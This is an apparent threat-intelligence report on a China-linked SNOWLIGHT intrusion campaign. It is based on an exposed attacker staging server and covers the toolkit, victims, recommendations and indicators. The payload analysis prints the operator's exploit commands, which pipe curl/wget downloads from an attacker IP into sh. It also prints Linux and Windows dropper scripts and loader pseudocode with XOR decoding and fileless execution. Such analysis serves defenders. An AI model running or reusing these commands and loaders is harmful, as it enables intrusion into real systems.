Tracing SNOWLIGHT: A China-Nexus Campaign Against Government Infrastructure
SOCRadar Threat Research Unit (STRU) identified and analyzed an exposed adversary-operated staging server containing a full attack infrastructure: reconnaissance lists, nine weaponized CVEs, a cracked Chinese version of Cobalt-Strike C2 (GoCobaltStrike / “GOCS”), a Metasploit Framework install, tunneling tooling, and payload-hosting infrastructure. The artifacts span a six-week operational window and provide direct evidence of both attempted and successful compromise against government and commercial infrastructure across more than 100 countries. Further analysis of the retrieved malware revealed a match with the SNOWLIGHT malware family, a family tracked by the Google Threat Intelligence Group (GTIG) and associated with China-nexus access brokers UNC5174/UNC6586.
Key Findings
- Attribution to China-Nexus Actors: The core delivery mechanisms have been definitively linked to the SNOWLIGHT malware family. Tracked by the Google Threat Intelligence Group since 2024, identified loaders are heavily associated with China-nexus access brokers UNC5174 and UNC6586.
- Cracked Chinese Reimplementation of Cobalt Strike C2 Infrastructure: Command and control (C2) infrastructure is managed via “GoCobaltStrike,” a specialized Chinese-language reimplementation of Cobalt Strike authored by the handle “星落”, featuring cracked license constraints.
- Government Sector Prioritization: More than 85% of mapped reconnaissance listings target national infrastructure, resolving to second-level government domains (.gov.*, .go.id) across Taiwan, Colombia, China, Brazil, Indonesia, Nigeria, the Philippines, and over 90 other geographical jurisdictions.
- High-Impact Endpoint Takeovers: Out of an expansive footprint exceeding 9,990 hostnames across 104 country-code TLDs (top-level domain), the threat actors successfully exploited 9 distinct CVEs to breach 107 endpoints. This includes critical administrative compromises: 16 root-level cPanel/WHM takeovers (CVE-2026-41940) and 1 Domain Admin level compromise via ProxyShell.
- Reverse Tunnel Traffic Obfuscation: Operators effectively masked their network trail by deploying Neo-reGeorg web shells over pre-existing JSP shell implants, using third-party compromised systems as reverse tunnels to proxy further malicious actions.
- Opportunistic “Spray-and-Check” Tactical Model: The campaign leverages automated scanning rather than bespoke targeting. Roughly 1 out of every 90 scanned targets resulted in a Remote Code Execution (RCE) oracle hit, credential theft, or shell validation.
The following section provides a detailed technical breakdown of the infrastructure supporting these operations. Our analysis reveals a mature and centralized staging environment designed to facilitate automated, cross-platform mass-exploitation. By correlating recovered shell command histories, network configurations, and staged payload artifacts, we have mapped the primary operational nodes that enable the adversary to deploy reconnaissance, manage C2, and deliver diverse malware variants at scale.
SNOWLIGHT Campaign Timeline
| Date (UTC) | Event |
|---|---|
| 2026-04-24 | ProxyShell mass-exploitation run; 1 confirmed Domain Admin compromise |
| 2026-04-24 | fly-c2 Docker C2 stack configured |
| 2026-04-29 | GOCS (GoCobaltStrike) teamserver goes live; single test beacon check-in |
| ~Apr 24–29 | CVE-2026-34486 (Tomcat) exploited against Taiwan; delivers confirmed SNOWLIGHT sample |
| 2026-05-03 | GOCS license-crack script updates, RDP/GUI sessions established cPanel/WHM CVE-2026-41940 mass exploitation; 16 confirmed root compromises |
| 2026-05-08 | CVE-2025-24813 (Tomcat) deployed against Taiwan; 5 confirmed web-shell implants |
| 2026-06-02 | Exchange/OWA (Outlook Web Access) liveness-checking pipeline executed |
| 2026-06-03 | Second ProxyShell tool used against webmail targets |
| 2026-06-08 | GOCS teamserver binary last modified – final observed activity |
| 2026-06-09 | Payload-hosting server (port 9000) active, serving loader.exe/config.dat/game.ini |
Adversary Infrastructure
The adversary infrastructure is centered around two primary hosts. The initial host, 130.94.17[.]180, was first detected on 2026-06-09, serves as a comprehensive, all-in-one attack platform executing internet-facing scanning and exploitation, hosting payloads, functioning as a C2 teamserver, and providing an interactive development environment for the operator. This system operates in conjunction with a second host, 130.94.30[.]168, which is utilized to distribute confirmed copies of the SNOWLIGHT malware family associated with UNC5174/UNC6586.
| Field | Details |
|---|---|
| Infrastructure IP address | 130.94.17[.]180 |
| Exposed Open Directory | 130.94.17[.]180:8000/9000 |
| OS baseline | Debian/Ubuntu Linux |
| C2 stack | GoCobaltStrike v2.3 teamserver (Go reimplementation of Cobalt Strike – Chinese), license-cracked |
| Delivery malware | SNOWLIGHT (confirmed) – served from 130.94.30[.]168 |
| Offensive framework | Metasploit Framework |
| Reverse listener | Meterpreter multi/handler, LHOST 130.94.17[.]180:8089 (secondary LHOST 92.38.135[.]196:8888) |
| Operator IP Addresses | 92.38.135.196 (Meterpreter listener) 218.68.183.234 (Accessing files – loader.exe etc.) 221.198.83.248 (teamserver login sessions) |
| Related Infrastructure | 130.94.30[.]168:8080 – SNOWLIGHT delivery host |
Operator Tradecraft Analysis:
- Language & Network Infrastructure: Shell histories, C2 user interface strings, and code commentary are predominantly written in Simplified Chinese. Furthermore, network configurations targeted Aliyun/China Telecom DNS resolvers (223.5.5.5, 114.114.114.114) and utilized mirrors.aliyun.com for package updates.

simplified chinese network infrastructure shell histories

.bash_history
- Operator Fingerprinting: The most stable identifier within the dataset is a single source IP, 221.198.83[.]248, which generated 22 authenticated login sessions on the GOCS web-management interface using Edge 147 on a Windows 10 system.
- Remote Terminal Access: For routine daily operations, VS Code Remote Tunnels provided terminal management. This setup included automated cloud-metadata querying (GCP metadata, 169.254.169[.]254) characteristic of the tool’s default host-fingerprinting scripts.
- C2 Infrastructure Testing: Demonstrating platform experimentation outside of GOCS, the actors established and subsequently deleted an alternate Docker-based C2 infrastructure designated “fly-c2” (featuring fly-client/fly-server components, a management web UI, and an Aggressor-script framework).
- Graphical Environment Deployment: Graphical desktop setups (GNOME, XFCE) along with xrdp were repeatedly deployed and later wiped, indicating they were temporarily tested for GUI-reliant utilities before being abandoned.
- Two operator-linked IPs: 218.68.183[.]234 (used to fetch loader.exe/config.dat/game.ini from the payload server) and 221.198.83[.]248 (source of all 22 GOCS teamserver logins) – both resolve via WHOIS to China Unicom, Tianjin. This independently corroborates the CST/UTC+8 operator timezone already established from session logs, strengthening the China-nexus attribution beyond the malware match alone. A third IP, 92.38.135[.]196, is just a rented South Korea-registered VPS (virtual private server) used as a secondary Meterpreter LHOST – not indicative of location.

Meterpreter listener

Access logs

GOCS teamserver logs
Payload Delivery & Staging Infrastructure: 130.94.30[.]168
Functioning as the operator’s dedicated server for payload staging, this secondary host consistently maps to the single endpoint 130.94.30[.]168:8080 across all instances within the shell history dataset.

.bash_history
Associated Domains
An analysis of the passive DNS history for the IP address 130.94.30[.]168 reveals two other hostnames associated with this endpoint:
| Subdomain | First seen | Last seen | Note |
|---|---|---|---|
| google.chromeupgrades.com | 2026-06-05 | 2026-07-06 | Impersonates a Google/Chrome update service, classic fake-updater lure naming |
| speedtest.qqmail.website | 2026-02-10 | 2026-06-26 | Impersonates Tencent QQ Mail infrastructure, consistent with the operator’s Chinese-platform-themed naming elsewhere |
Toolkit Inventory
The toolkit comprises a purpose-built reconnaissance pipeline, eleven distinct exploit chains, two tunneling tools, and four C2/RAT/malware families, including a verified SNOWLIGHT instance detailed in Payload Analysis section. These components were primarily assembled using public GitHub proof-of-concepts, alongside one pirated commercial C2 product and a single instance of a tracked, named malware family.
| Category | Tool / script | Target technology | Vector / CVE |
|---|---|---|---|
| Exploitation | exp.py (CVE-2025-24813) | Apache Tomcat | Partial-PUT arbitrary file write RCE – Taiwan-focused |
| Exploitation | exp.py + ysoserial | Apache Tomcat 9.0.x | CVE-2026-34486 (Java deserialization, CommonsCollections6 gadget) – Taiwan-focused, delivers SNOWLIGHT |
| Exploitation | exploit.py | cPanel & WHM | CVE-2026-41940 auth bypass → root WebSocket shell + persistent API token |
| Exploitation | CVE-2026-44262.py | Laravel (Ignition/APP_KEY) | Unauthenticated RCE via crafted debug payload |
| Exploitation | exchange.py | Microsoft Exchange | ProxyShell (CVE-2021-26855 / -27065) |
| Exploitation | proxyshell_rce.py, CTT-* scripts | Microsoft Exchange | ProxyShell / ProxyLogon variants |
| Exploitation | Struts2Scan.py | Apache Struts2 | Multi-CVE OGNL injection scanner |
| Exploitation | nuclei + CVE-2022-26134.yaml | Atlassian Confluence | CVE-2022-26134 OGNL injection RCE |
| Exploitation | CVE-2026-21962.py | WebLogic-class targets | CVE-2026-21962 |
| Exploitation (tested) | CVE-2023-46747-RCE.py | F5 BIG-IP TMUI | CVE-2023-46747 auth bypass RCE |
| Exploitation (tested) | detect.py | Rejetto HFS | CVE-2024-23692 template-injection RCE |
| Framework | msfconsole | Broad | N/A – general framework |
| Recon | dirsearchplus, live.py, nuclei | Web / mail infrastructure | Liveness probing, template-based vuln scanning |
| C2 | teamserver-linux-amd64-2.3.18 (Cracked GoCobaltStrike v2.3) | Windows/Linux implants | N/A |
| C2 / RAT | fly-client / fly-server | General C2 | N/A |
| Post-exploitation | XlExpKit.cna, 谢公子插件 | Cobalt-Strike-class beacons | AV evasion, credential harvesting, domain recon, RDP/firewall/persistence modules |
| Tunneling | Neo-reGeorg | Compromised web servers | Encrypted SOCKS/HTTP reverse tunnel over web shell |
| Payload delivery | python -m http.server | Compromised hosts (stage-2 pull) | serving loader.exe / config.dat / game.ini |
Payload Analysis
The malware suite evaluated in this section has been definitively identified as SNOWLIGHT. This threat toolkit includes a shell dropper alongside four architecture-specific ELF loaders, which function as the core payloads for the CVE-2026-34486 curl|sh command sequences targeting Taiwanese servers. Additionally, the campaign utilizes a sizable Windows PE component staged on the port-9000 payload server, as well as three subsequent multi-transport variants discovered later in the analysis.
Operational Origin
Recorded inside bash_history are five separate instances of the same URL, explicitly outlining the precise retrieval command run against an active target using the CVE-2026-34486 –rce parameter:
# bash_history:343
python3 exp.py -t 203.*.*.* -p 4000 --rce "(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh"
--ysoserial ./ysoserial-all.jar --tomcat-lib ./apache-tomcat-9.0.116/lib
# bash_history:344 - same payload broadcast to the full urls.txt batch (37 Taiwanese hosts)
python3 exp.py -f urls.txt -p 4000 --rce "(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh"
--ysoserial ./ysoserial-all.jar --tomcat-lib ./apache-tomcat-9.0.116/lib
# bash_history:348 - the ysoserial gadget chain that carries the above string as its OS command
java --add-opens java.base/java.lang=ALL-UNNAMED [...] -jar ysoserial-all.jar CommonsCollections6
"(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh" > payload_touch.bin
# bash_history:802, 804 - the operator's own dry run against 130.94.17[.]180 itself, nc listener open in parallel
nc -lvnp 6911
(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh
The /slt endpoint functions as a stage loader, serving a script that executes directly on the target. This script identifies the system architecture and downloads the corresponding SNOWLIGHT ELF payload. The nomenclature /slt (stage-loader-tcp) is consistent with the operator’s naming convention for other discovered loaders, such as c35ca3ebtcp and c35ca3ebws.
Sample Inventory
| File | Type | Size | SHA-256 |
|---|---|---|---|
| linux.sh | POSIX shell script | 1,808 B | a4989ae1d598e79a87a9e01d0b5966a25b00b23ca234fbdb52b9df7b29db918a |
| linux_amd64 | ELF64 x86-64 | 9,800 B | ebc94e24e4df94f988dd0a2275e8a3f1957051814a3c39ec30bfaca2f5ca2607 |
| linux_i386 | ELF32 x86 | 6,968 B | dc493eb8367b7d68f4d3d9f2a10c495c6a45c33df72fb5a18bdf62b629f69e31 |
| linux_arm | ELF32 ARM EABI5 | 7,316 B | 9c59a0dadec1f1b73724f3ee4113e4fde696214371b9068fd69774db4cd8b8d2 |
| linux_arm64 | ELF64 AArch64 | 10,768 B | 66543c4f9f4d610a79efa5e52b9aa90ca41dbfc154418435a2902ac48dad2ee4 |
| loader.exe | PE32, GUI subsystem, x86 (internal name “Vello.exe”) | 4,281,856 B | b96cdf8bc96c7288af7624974b1a10b7bf16e5ac03ac8493ade20696a906a81a |
| windows.bat | DOS batch script | 500 B | 75d39860a5c5ce6c26590265102f25c50f91a22b6769d22046759fb3aff8d0a8 |
| windows_amd64.exe | PE32+ GUI, x86-64 | 3,584 B | d7ed70cdd88f6cccbdc0ad6851d7a61b7fce79fdf9c4cd9f9bb375233a96b2dd |
| windows_i386.exe | PE32 GUI, x86, minimal | 3,584 B | b7486bb7fc5f7e659b40dab3366b576d68db61ca0004de7a1e115eb9b541f19a |
| linux(1).sh | POSIX shell script – “ws” transport variant | 1,803 B | b272e2e4a7c65f2659a8fff8ceec4d9538f74f6dc9bace7d051a4476ba6bc77c |
| linux_amd64 (ws variant) | ELF64 x86-64 – linux_amd64_ws.c | 9,848 B | c0a5374a425ee5030b2219520dfa3a3a51f27d3cc4404b016e695c4450fe3034 |
| linux_arm (ws variant) | ELF32 ARM – linux_arm_ws.c | 7,628 B | adde431d5b78b2b2cfb67c5bcd938be6cc466fbb3ac2786cad97b493f6fcfad5 |
| linux_arm64 (ws variant) | ELF64 AArch64 – linux_arm64_ws.c | 10,816 B | 4738f3559c10f7c62a3be48ec2ce42c584b53d5ffa9e06e6521607a6fdfd535f |
| windows(1).bat | DOS batch – “kcp” transport variant | 528 B | 00b0cef237d9619c99c5d90cf902ec768c1ecf4f96d542d31dc5afb0b564cb4f |
| windows(2).bat | DOS batch – “ws” transport variant | 497 B | 2ac6c953d2d36eb7e7e85aa0822a65961071f7801a25118ab42bcfa9693327a1 |
| windows_amd64 (ws variant) | PE32+ GUI – HTTP-GET transport | 4,608 B | 20e1ec6b07abe3b2dd54f7ae4e47dc00afa46de6e6c0ef0239c26c8bae70a43a |
| windows_i386 (ws variant) | PE32 GUI – HTTP-GET transport | 4,608 B | c2d0e4dd2f2b3f1d4eb4518984b00ed521c73d1e935780786479db690112ef9c |
SNOWLIGHT Linux Variants: linux.sh + linux_amd64/arm/arm64/i386
The linux.sh script, shown below, serves as the primary payload for hosts vulnerable to CVE-2026-34486 and is delivered straight from the /slt endpoint at hxxp://130.94.30[.]168:8080/slt. It is deployed on compromised systems using a conventional (curl … || wget …) | sh command sequence. Upon runtime execution, the script evaluates the host’s CPU architecture via uname -m, identifies the appropriate callback URL to retrieve the matching stage-2 binary, and runs it in the background.
l64="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=l64&stage=true"
l32="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=l32&stage=true"
a64="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=a64&stage=true"
a32="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=a32&stage=true"
v="c35ca3ebtcp" # randomized on-disk filename, "tcp" suffix
ARCH=$(uname -m) # x86_64 / i386 / i686 / aarch64 / armv7l → picks l64/l32/a64/a32
curl -fsSL -m180 ${url} -o $v || wget -T180 -q ${url} -O $v || python -c 'urllib.urlretrieve(...)'
chmod +x $v
nohup $(pwd)/$v >/dev/null 2>&1 & # tries 6 writable dirs in sequence, backgrounds and detaches
All four binaries are the same C source (<arch>_tcp.c, per an embedded compiler string) cross-compiled per architecture; the only differences are the hardcoded self-identification tag (l64/l32/a64/a32) matching linux.sh’s variable names exactly.
Reconstructed logic from disassembly, as pseudocode (main() at offset 0x400950 in the amd64 build):
access("/tmp/log_de.log") // kill-switch: file present → exit(0), do nothing
gethostbyname("130.94.30.168") // falls back to inet_addr() if DNS fails
sock = socket(AF_INET, SOCK_STREAM, 0)
while (connect(sock, 130.94.30.168:8080) < 0) sleep(10); // retries forever
send(sock, "l64���", 6) // check in with own arch tag
send(sock, &port_bytes, 2)
send(sock, &host_buffer, 32)
fd = syscall(SYS_memfd_create, "a", 0) // anonymous, disk-less file descriptor
while ((n = recv(sock, buf, 4096, 0)) > 0) {
for (i = 0; i < n; i++) buf[i] ^= 0x99; // single-byte XOR "decryption" of the stage-3 payload
write(fd, buf, n);
}
close(sock);
setenv("CWD", realpath(argv[0]), 1);
fexecve(fd, argv={"[kworker/0:2]", NULL}, environ); // execs decoded payload, no disk artifact, spoofed process name
Kill Switch Mechanism: The presence of an empty file (any permissions) located at /tmp/log_de.log forces all four Linux loader variants to terminate instantly before establishing a connection with the C2 infrastructure.
SNOWLIGHT Windows Variants: windows.bat + windows_amd64.exe / windows_i386.exe
A secondary dropper/loader combination was subsequently detected within the capture, acting as the exact Windows parallel to linux.sh and the ELF loaders while targeting the same C2. This finding verifies that the operator employs a unified loader-generation pipeline capable of compiling cross-platform, synchronized Linux and Windows builds from an identical campaign ID.
windows.bat:
@echo off
setlocal enabledelayedexpansion
set u64="http://130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=w64&stage=true"
set u32="http://130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=w32&stage=true"
set v="C:UsersPublicc35ca3ebtcp.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
set "ARCH=64"
)
if "%ARCH%"=="64" (
certutil.exe -urlcache -split -f %u64% %v%
) else (
certutil.exe -urlcache -split -f %u32% %v%
)
start "" %v%
exit /b 0
windows_amd64.exe (pseudocode):
peb = __readgsqword(0x60) // walk PEB → PEB_LDR_DATA → loaded-module list
kernel32 = find_module(peb, hash=0x...) // ROR-13 hash match on module name
LoadLibraryA = resolve_export(kernel32, hash=0x0726774c) // same technique resolves every API below
LoadLibraryA("ws2_32.dll"); LoadLibraryA("user32.dll"); LoadLibraryA("msvcrt.dll")
GetTempPathA(path); strcat(path, "log_de.log") // %TEMP%log_de.log - same kill-switch file as the ELF build
if (file_exists(path)) exit(0); // present → do nothing, same trigger polarity as the ELF loader
gethostbyname("130.94.30.168") // falls back to inet_addr() on failure, identical to the ELF build
sock = socket(AF_INET, SOCK_STREAM, 0)
sockaddr.family_port = 0x901f0002 // AF_INET + port 8080, same immediate as the ELF loader
while (connect(sock, 130.94.30.168:8080) < 0) Sleep(10000); // 10-second retry loop, forever
send(sock, "w64���", 6) // check in with own arch tag
send(sock, &ip_fragment, ...) // several more send() calls, C2 IP string in fragments
buf = alloc(0x64000) // resolved via hash - exact allocator API not confirmed
while ((n = recv(sock, buf, 4096, 0)) > 0) {
for (i = 0; i < n; i++) buf[i] ^= 0x99; // identical single-byte XOR key as the ELF family
}
closesocket(sock)
execute(buf) // hand-off resolved via hash - exact API not confirmed
The preservation of the filename C:UsersPublicc35ca3ebtcp.exe highlights the reuse of the specific c35ca3ebtcp tag observed in linux.sh, offering definitive evidence that both cross-platform variants were generated during a single build session. To fetch the payload without triggering alerts or spawning PowerShell or web browsers, the campaign utilizes certutil.exe -urlcache -split -f, a well-known Living-off-the-Land download method.
Disassembly at the entry point of the two PE payloads (measuring 3,584 bytes each and compiled on 2023-10-26) revealed that only Sleep is present in the static import table. This minimal import profile is due to the underlying logic: the malware uses a classic ROR-13 export-hashing routine, reminiscent of the Metasploit ‘block_api’ shellcode pattern, to locate necessary CRT, Winsock, and LoadLibraryA functions by scanning the Process Environment Block (PEB) dynamically at runtime. Analyzing these resolved execution calls demonstrates that the payload functions as a direct Win32 translation of the architecture seen in the ELF loader:
| Step | Linux ELF loader | Windows PE loader |
|---|---|---|
| Dynamic resolution | N/A – static glibc imports | PEB-walk + ROR-13 export-name hashing; only Sleep statically imported |
| Library loading | N/A – statically linked | LoadLibraryA(“user32.dll”), (“ws2_32.dll”), (“msvcrt.dll”) – names built byte-by-byte on the stack |
| Kill-switch marker | access(“/tmp/log_de.log”) | Same filename, built via GetTempPathA + string concatenation → %TEMP%log_de.log |
| C2 address resolution | gethostbyname() → inet_addr() fallback | Identical two-step fallback confirmed (same hostent offset-0x18 dereference pattern) |
| sockaddr construction | Port 8080 encoded as 0x901f | Identical 0x901f0002 immediate (AF_INET + port 8080) |
| Connect retry | sleep(10) loop | Sleep(10000) loop – same 10-second backoff |
| Check-in handshake | send(“l64 ”, 6) + more | send(“w64”, 6) then several more send() calls carrying the IP string in fragments |
| Payload buffer | memfd_create() (fileless fd) | Dynamically-resolved allocation call sized up to 0x64000 (400 KB) – exact API not conclusively identified (see below) |
| XOR key | buf[i] ^= 0x99 | xor byte [rcx+rdi], 0x99 – identical key, confirmed at offset 0x14000141f |
| Cleanup | close(sock) | Resolved “close socket”-style call before the function returns |
Multi-Transport Loader Variants (tcp/ws/kcp)
Additional drop files recovered from the same directory reveal that 130.94.30[.]168:8080 is not a single-protocol stager – it is a loader panel supporting at least three interchangeable transports, selected by the t= query parameter. This upgrades the earlier assessment: the backend is a genuine multi-protocol dispatcher, not a simple static file server.
| Transport tag | Dropper param | On-disk filename | Sample present in this capture |
|---|---|---|---|
| tcp | t=tcp&stage=true | c35ca3ebtcp(.exe) | Full binary, both platforms |
| ws | t=ws&stage=true | c35ca3ebws(.exe) | Full binary, both platforms |
| kcp | t=kcp&stage=false&encode=false | c35ca3ebkcp.exe | Dropper only, no payload binary |
Analysis of the disassembled ws variant (identified as linux_amd64_ws.c via its compiler string, along with an equivalent Windows PE build) shows that it does not perform a genuine WebSocket protocol upgrade despite its “ws” tag. The request lacks both the Upgrade: websocket and Sec-WebSocket-Key headers, functioning instead as a concealed plain-HTTP fetch.
linux_amd64 (ws variant – pseudocode):
sprintf(buffer,
"GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1rn"
"Host: %s:%drn"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0rnrn",
"l64", "130.94.30.168", "ws", 8080, "130.94.30.168", 8080);
send(sock, buffer, 1024, 0);
// then, byte-by-byte, scan the HTTP response for the CRLFCRLF header terminator...
while (!(buf[i-3]==0xd && buf[i-2]==0xa && buf[i-1]==0xd && buf[i]==0xa)) recv(sock, &buf[i++], 1, 0);
// ...then it's the identical memfd_create + XOR-0x99 + write pipeline as the tcp variant
fd = syscall(SYS_memfd_create, ...);
while ((n = recv(sock, buf, 4096, 0)) > 0) { for(i=0;i<n;i++) buf[i] ^= 0x99; write(fd, buf, n); }
The source endpoint for each dropper can be directly reconstructed from its content rather than guessed. The /slt endpoint is explicitly attested in the shell history (representing stage-loader-tcp: platform l + transport t); every other dropper embeds the identical two tokens (its specific a= architecture prefix and t= transport value) within its query string. Applying this confirmed key allows all remaining variants to be deterministically labeled:
| File | Embedded platform / transport | Derived source endpoint | Basis |
|---|---|---|---|
| linux.sh | a=l64/l32/a64/a32, t=tcp | /slt | Confirmed – bash_history |
| linux(1).sh | a=l64/l32/a64/a32, t=ws | /slw | Derived from content, same key |
| windows.bat | a=w64/w32, t=tcp | /swt | Derived from content, same key |
| windows(1).bat | a=w64/w32, t=kcp, stage=false, encode=false | /swk | Derived from content, same key |
| windows(2).bat | a=w64/w32, t=ws | /sww | Derived from content, same key |
Malware Family Match: SNOWLIGHT
The following table compares technical indicators extracted from our dataset against publicly documented characteristics of the SNOWLIGHT malware family, confirming a high-confidence match across all analyzed artifact attributes.
| Technical feature | Published SNOWLIGHT reporting | Identified dataset |
|---|---|---|
| Language / size | C, ELF, <10 KiB | C, ELF, 9,800 B – match |
| C2 transport | Raw TCP socket, binary protocol, hardcoded IP | Identical – match |
| Arch self-ID tag | 6-byte tag: l32 / l64 / a32 / a64 | Identical 4-value scheme (plus w32/w64 for a Windows port not seen in public reporting) – match |
| Kill-switch marker | /tmp/log_de.log access check | Identical path – match (reported trigger polarity differs) |
| Payload obfuscation | Single-byte XOR, key 0x99 | Identical key, confirmed independently in 4 separate binaries – match |
| In-memory execution | memfd_create + fexecve, no disk artifact | Identical syscall pair – match |
| Process masquerade | [kworker/0:2] | Identical string – match |
| Port encoding | Reversed-byte 16-bit immediate in sockaddr (example: 0x811f = port 8065) | Same technique (0x901f = port 8080) – match |
| Loader URL syntax | ?h=&p=&t=tcp&a=&stage=true; shell strings “rm -rf $v”, “export PATH=$PATH:$(pwd)” | Byte-identical parameter names and shell-script strings – match |
| “Fake HTTP” beacon variant | “One variant has been observed using a fake HTTP header for an initial beacon packet” | This is the ws transport variant – plain HTTP GET, spoofed Firefox 48 UA (User Agent) – match, and adds the concrete detail absent from public writeups |
SNOWLIGHT Victimology and Campaign Metrics
An overview of targeted footprints across distinct campaigns, verified successful intrusions, and the corresponding global distribution of identified target assets.

Top 10 countries targeted in the SNOWLIGHT campaign
Taiwan is the primary target of this campaign, leading in both reconnaissance harvest and overall target volume. It was the focus of two specific exploitation campaigns (CVE-2025-24813 and CVE-2026-34486) which resulted in verified compromises, including the host delivering the SNOWLIGHT sample. The targeting is broad, spanning government, healthcare, and education sectors.

Successful JSP web shell (error.jsp) deployment

Specific target list for Taiwan (tw.txt)
The targeting of Taiwan aligns with the broader, persistent geopolitical tensions across the Taiwan Strait. Ongoing friction regarding sovereignty and international status often translates into intensified cyber activity, with Taiwan frequently serving as a primary focal point for state-aligned actors aiming to exert pressure, gather strategic intelligence, and disrupt critical government infrastructure.
| Campaign | Raw list entries | Unique hosts | Confirmed compromised | Confirmation method |
|---|---|---|---|---|
| ProxyShell (CVE-2021-26855/-27065) | 4,091 | 1,738 | 1 | Domain Admin NTLM token captured |
| cPanel/WHM (CVE-2026-41940) | 1,866 | 1,563 | 16 | Version-disclosure oracle + forged session; root WebSocket shell verified |
| Laravel Ignition (CVE-2026-44262) | 1,227 | 779 | 0 | Scanned only, no captured success artifact |
| Tomcat partial-PUT (CVE-2025-24813) | 220 | 173 | 5 | Web shell planted via HTTP PUT, HTTP 2xx confirmed |
| Struts2 OGNL (multi-CVE) | 234 | 161 | 0 | Scanned only, no captured success artifact |
| WebLogic-class (CVE-2026-21962) | 119 | 91 | 1 | Blind RCE via DNS/HTTP out-of-band callback |
| Confluence OGNL (CVE-2022-26134) | 80 | 80 | 80 | whoami command-execution oracle, per-host |
| Tomcat deserialization (CVE-2026-34486) | 98 | 37 | 2 | Live command execution (id/whoami) confirmed |
Recommendations
To mitigate the risks posed by this campaign, organizations should adopt a defense-in-depth approach focusing on vulnerability management and proactive monitoring:
- Patch Vulnerable Systems: Prioritize patching the specific CVEs leveraged in this campaign, including CVE-2025-24813 (Apache Tomcat), CVE-2026-34486 (Apache Tomcat deserialization), and critical vulnerabilities in Microsoft Exchange (ProxyShell), cPanel/WHM, and Laravel.
- Deploy Kill-Switch Mitigation: For Linux environments, deploy an empty, non-writable file at /tmp/log_de.log. This acts as a reliable kill-switch for the SNOWLIGHT ELF loader, preventing execution upon initial infection attempts.
- Implement Network Monitoring: Monitor egress traffic for suspicious connections originating from servers to known attacker IPs (e.g., 130.94.17.180, 130.94.30.168). Block or alert on unauthorized curl or wget commands that attempt to fetch shell scripts from external, untrusted sources.
- Enhance Endpoint Security: Configure endpoint detection and response (EDR) solutions to detect fileless execution patterns, specifically the combination of memfd_create and fexecve. Alert on processes mimicking system threads, such as [kworker/0:2], which are used by the SNOWLIGHT payload for evasion.
- Strengthen Credential Hygiene: Given the threat actor’s demonstrated ability to harvest credentials and achieve domain-admin level access, enforce multi-factor authentication (MFA) across all administrative portals, including cPanel, WHM, and Exchange OWA.
- Hunt for IOCs: Regularly scan logs for the associated C2 domains and filenames (e.g., google.chromeupgrades.com, speedtest.qqmail.website) and review bash_history for the characteristic exploit command patterns identified in this report.
Conclusion
The campaign demonstrates a highly opportunistic and automated ‘spray-and-check’ tactical model employed by China-nexus threat actors to compromise a broad spectrum of global government and commercial infrastructure. By leveraging a centralized, multi-platform attack infrastructure (including cracked Cobalt-Strike derivatives and a sophisticated loader ecosystem) these operators have successfully achieved high-impact takeovers across more than 100 countries.
Organizations must prioritize patching exposed services, implementing strong multi-factor authentication, and monitoring for the specific indicators of compromise identified in this report to effectively counter these persistent and evolving threats.
Indicators of Compromise (IOCs)
| Indicator | Type | Context |
|---|---|---|
| 130.94.17.180 | IPv4 | Primary attack platform – scanner, exploiter, C2 teamserver, payload host |
| 130.94.30.168:8080 | IPv4:port | Stage-2/stage-3 payload host (/slt + arch-download + raw-TCP loader) – same LightNode /17 as primary |
| 92.38.135.196:8888 | IPv4:port | Secondary Meterpreter LHOST |
| 221.198.83.248 | IPv4 | GOCS C2 web-panel operator login source |
| 149.129.37.105:30005 | IPv4:port | OOB HTTP callback catcher (blind RCE confirmation) |
| *.dnslog.cn | Domain (OOB) | DNS-based blind-RCE callback service |
| loader.exe, config.dat, game.ini | Filenames | Stage-2 payload bundle served over HTTP :9000/:8000 |
| /error.jsp | URI path | CVE-2025-24813 web-shell drop path |
| /tunnel.jsp, /tunnels.jsp | URI path | Neo-reGeorg tunnel endpoint naming pattern |
| Chrome/139.0.0.0 … Edg/139.0.0.0 | User-Agent | GOCS beacon default User-Agent |
| GOCS-ADVANCED-10YEAR-LICENSE-9999CLIENTS | String | Patched license string, cracked GoCobaltStrike build |
| /tmp/log_de.log | File path | ELF loader kill-switch / single-run marker – creating this file blocks re-infection |
| [kworker/0:2] | Spoofed process name | argv[0] used by the ELF loader’s fileless fexecve() payload |
| 0x99 | XOR key (single byte) | Stage-3 payload obfuscation – confirmed identical in both the ELF and PE loader families |
| c35ca3ebtcp / c35ca3ebtcp.exe | Filename (campaign tag) | On-disk payload filename shared across Linux (linux.sh) and Windows (windows.bat) builds from the same session |
| C:UsersPublicc35ca3ebtcp.exe | File path | Windows stage-2 payload drop location |
| certutil.exe -urlcache -split -f | LOLBin (Living Off the Land Binary) command | Used by windows.bat to download the stage-2 payload without PowerShell/curl |
| c35ca3ebws / c35ca3ebws.exe / c35ca3ebkcp.exe | Filename (campaign tag) | ws/kcp-transport sibling filenames to c35ca3ebtcp – same campaign, alternate protocol |
| GET /?a=<arch>&h=130.94.30.168&t=ws&p=8080 HTTP/1.1 | HTTP request pattern | “ws”-transport loader check-in – plain HTTP, not a real WebSocket upgrade |
| Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 | User-Agent | Hardcoded UA in the ws-transport loader’s HTTP GET request |
| t=tcp / t=ws / t=kcp | URI query parameter | Transport-selection parameter on the 130.94.30.168:8080 loader panel |
